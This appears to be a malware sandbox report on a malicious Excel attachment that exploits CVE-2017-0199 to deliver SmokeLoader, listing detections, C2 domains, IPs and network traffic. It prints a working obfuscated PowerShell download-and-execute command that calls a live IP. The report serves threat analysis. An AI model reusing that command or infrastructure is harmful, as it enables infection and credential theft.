Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3648, TargetFilename: C:\Users\user\AppData\Local\Temp\kj0hyxr0.kun.ps1

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\03wlztsz\03wlztsz.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\03wlztsz\03wlztsz.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Windows\SysTEM32\wiNdoWSPoWeRShElL\V1.0\PoWERsHeLl.EXe" "pOWersheLL -Ex BYPaSs -nop -W 1 -c DeVIcECrEdenTiAldePlOYMEnT.exe ; INvokE-EXPressiON($(INvOkE-ExpressiON('[SystEM.tExt.encoDinG]'+[char]0X3A+[char]58+'UTF8.GetsTRIng([SyStEm.cOnVeRT]'+[ChaR]0X3A+[chaR]58+'frombasE64StRIng('+[chaR]34+'JFhvY0VSN21mYWMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRELXRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVNYmVSZEVGaW5pVElvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxNT04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkbkhyTG8sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgamxXTWh0LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEwsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVEd1JCWENTLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHFFS3ZxKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZHpUayIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZVNQQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbHhzQnRTTVB2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYb2NFUjdtZmFjOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3Mi40NC4xNzgvNTMvc2VlbXliZXN0bmV0d29ya3doaWNoZ2l2ZWJlc3R0aGluZ3NlbnRpcmVsaWZld2l0aG1lLnRJRiIsIiRFTnY6QVBQREFUQVxzZWVteWJlc3RuZXR3b3Jrd2hpY2hnaXZlYmVzdHRoaW5nc2VudGlyZWxpZmV3aXRoLnZiUyIsMCwwKTtzVEFydC1zbEVFUCgzKTtJRVggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXHNlZW15YmVzdG5ldHdvcmt3aGljaGdpdmViZXN0dGhpbmdzZW50aXJlbGlmZXdpdGgudmJTIg=='+[chaR]0X22+'))')))", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3648, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\03wlztsz\03wlztsz.cmdline", ProcessId: 3860, ProcessName: csc.exe

Suricata Signatures

ET EXPLOIT MSXMLHTTP Download of HTA (Observed in CVE-2017-0199)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T18:21:30.915644+0100	2024197	1	A Network Trojan was detected	107.172.44.178	80	192.168.2.22	49162	TCP
2024-11-18T18:21:33.487520+0100	2024197	1	A Network Trojan was detected	107.172.44.178	80	192.168.2.22	49164	TCP

ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T18:21:30.915631+0100	2024449	1	Attempted User Privilege Gain	192.168.2.22	49162	107.172.44.178	80	TCP
2024-11-18T18:21:33.487505+0100	2024449	1	Attempted User Privilege Gain	192.168.2.22	49164	107.172.44.178	80	TCP
2024-11-18T18:21:59.492820+0100	2024449	1	Attempted User Privilege Gain	192.168.2.22	49171	107.172.44.178	80	TCP

ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T18:22:00.252623+0100	2049038	1	A Network Trojan was detected	142.215.209.78	443	192.168.2.22	49166	TCP
2024-11-18T18:22:23.312355+0100	2049038	1	A Network Trojan was detected	142.215.209.78	443	192.168.2.22	49173	TCP

ET MALWARE Suspected Smokeloader Activity (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T18:22:42.390367+0100	2039103	1	A Network Trojan was detected	192.168.2.22	49175	46.173.214.24	80	TCP
2024-11-18T18:22:58.747956+0100	2039103	1	A Network Trojan was detected	192.168.2.22	49176	46.173.214.24	80	TCP

ETPRO MALWARE ReverseLoader Payload Request (GET) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T18:21:43.833570+0100	2858795	1	A Network Trojan was detected	192.168.2.22	49165	107.172.44.178	80	TCP

ETPRO MALWARE SmokeLoader encrypted module (3)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T18:22:42.710414+0100	2829848	2	Potentially Bad Traffic	46.173.214.24	80	192.168.2.22	49175	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: #U3010TW-S PO#U3011PO#3311-20241118003.xls

Avira: detected

Antivirus detection for URL or domain

Source: http://prolinice.ga/index.php	Avira URL Cloud: Label: malware
Source: http://vilendar.ga/index.php	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\~DF7DC820911769618A.TMP

Avira: detection malicious, Label: TR/AVI.Agent.xoswb

Found malware configuration

Source: 0000001E.00000002.522714130.00000000000C0000.00000004.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: SmokeLoader {"Version": 2022, "C2 list": ["http://prolinice.ga/index.php", "http://vilendar.ga/index.php"]}

Multi AV Scanner detection for submitted file

Source: #U3010TW-S PO#U3011PO#3311-20241118003.xls

ReversingLabs: Detection: 27%

Machine Learning detection for sample

Source: #U3010TW-S PO#U3011PO#3311-20241118003.xls

Joe Sandbox ML: detected

Source: C:\Windows\SysWOW64\explorer.exe	Code function: 38_2_00123098 GetTempPathW,GetTempFileNameW,DeleteFileW,CopyFileW,RtlCompareMemory,RtlZeroMemory,CryptUnprotectData,DeleteFileW,	38_2_00123098
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 38_2_00123717 GetTempPathW,GetTempFileNameW,DeleteFileW,CopyFileW,RtlCompareMemory,RtlZeroMemory,lstrlen,lstrlen,wsprintfA,lstrlen,lstrcat,CryptUnprotectData,lstrlen,lstrlen,wsprintfA,lstrlen,lstrcat,lstrlen,DeleteFileW,	38_2_00123717
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 38_2_00123E04 RtlCompareMemory,CryptUnprotectData,	38_2_00123E04
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 38_2_00121198 CryptBinaryToStringA,CryptBinaryToStringA,	38_2_00121198
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 38_2_001211E1 lstrcmpiW,lstrlenW,CryptStringToBinaryW,CryptStringToBinaryW,CryptStringToBinaryW,	38_2_001211E1
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 38_2_0012123B lstrlen,CryptStringToBinaryA,CryptStringToBinaryA,	38_2_0012123B
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 38_2_00121FCE CryptUnprotectData,RtlMoveMemory,	38_2_00121FCE
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 40_2_000826AC lstrlen,CryptBinaryToStringA,CryptBinaryToStringA,	40_2_000826AC

Phishing

Yara detected HtmlPhish44

Source: Yara match

File source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat[1].hta, type: DROPPED

Source: unknown	HTTPS traffic detected: 142.215.209.78:443 -> 192.168.2.22:49166 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 142.215.209.78:443 -> 192.168.2.22:49173 version: TLS 1.0

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 5.45.108.48:443 -> 192.168.2.22:49161 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 5.45.108.48:443 -> 192.168.2.22:49163 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 5.45.108.48:443 -> 192.168.2.22:49170 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 5.45.108.48:443 -> 192.168.2.22:49168 version: TLS 1.2

Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\mffkkngw\mffkkngw.pdbhP source: powershell.exe, 00000013.00000002.494305051.00000000026DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\03wlztsz\03wlztsz.pdb source: powershell.exe, 00000006.00000002.447990130.0000000002281000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: aspnet_compiler.pdb source: vtjrhji, 00000024.00000000.566239808.0000000000F72000.00000020.00000001.01000000.0000000A.sdmp, vtjrhji.31.dr
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\03wlztsz\03wlztsz.pdbhP source: powershell.exe, 00000006.00000002.447990130.0000000002281000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\mffkkngw\mffkkngw.pdb source: powershell.exe, 00000013.00000002.494305051.000000000218B000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Windows\SysWOW64\explorer.exe	Code function: 38_2_00121D4A FindFirstFileW,lstrcmpiW,lstrcmpiW,lstrcmpiW,FindNextFileW,FindClose,	38_2_00121D4A
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 38_2_00123ED9 PathCombineW,FindFirstFileW,lstrcmpiW,lstrcmpiW,PathCombineW,lstrcmpiW,PathCombineW,FindNextFileW,FindClose,	38_2_00123ED9
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 38_2_00122B15 FindFirstFileW,lstrcmpiW,lstrcmpiW,StrStrIW,StrStrIW,FindNextFileW,FindClose,	38_2_00122B15
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 40_2_0008255C lstrcatW,PathAppendW,FindFirstFileW,RtlZeroMemory,lstrcatW,PathAppendW,lstrcatW,PathAppendW,StrStrIW,FindNextFileW,FindClose,	40_2_0008255C
Source: C:\Windows\explorer.exe	Code function: 42_2_00061EB4 FindFirstFileW,	42_2_00061EB4
Source: C:\Windows\explorer.exe	Code function: 42_2_00061DB0 FindFirstFileW,	42_2_00061DB0

Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\

Software Vulnerabilities

Document exploit detected (process start blacklist hit)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\mshta.exe

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: global traffic	DNS query: name: link.uebie.de
Source: global traffic	DNS query: name: link.uebie.de
Source: global traffic	DNS query: name: 1017.filemail.com
Source: global traffic	DNS query: name: 1017.filemail.com
Source: global traffic	DNS query: name: link.uebie.de
Source: global traffic	DNS query: name: 1017.filemail.com
Source: global traffic	DNS query: name: 1017.filemail.com
Source: global traffic	DNS query: name: prolinice.ga
Source: global traffic	DNS query: name: prolinice.ga
Source: global traffic	DNS query: name: prolinice.ga
Source: global traffic	DNS query: name: prolinice.ga

Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 142.215.209.78:443
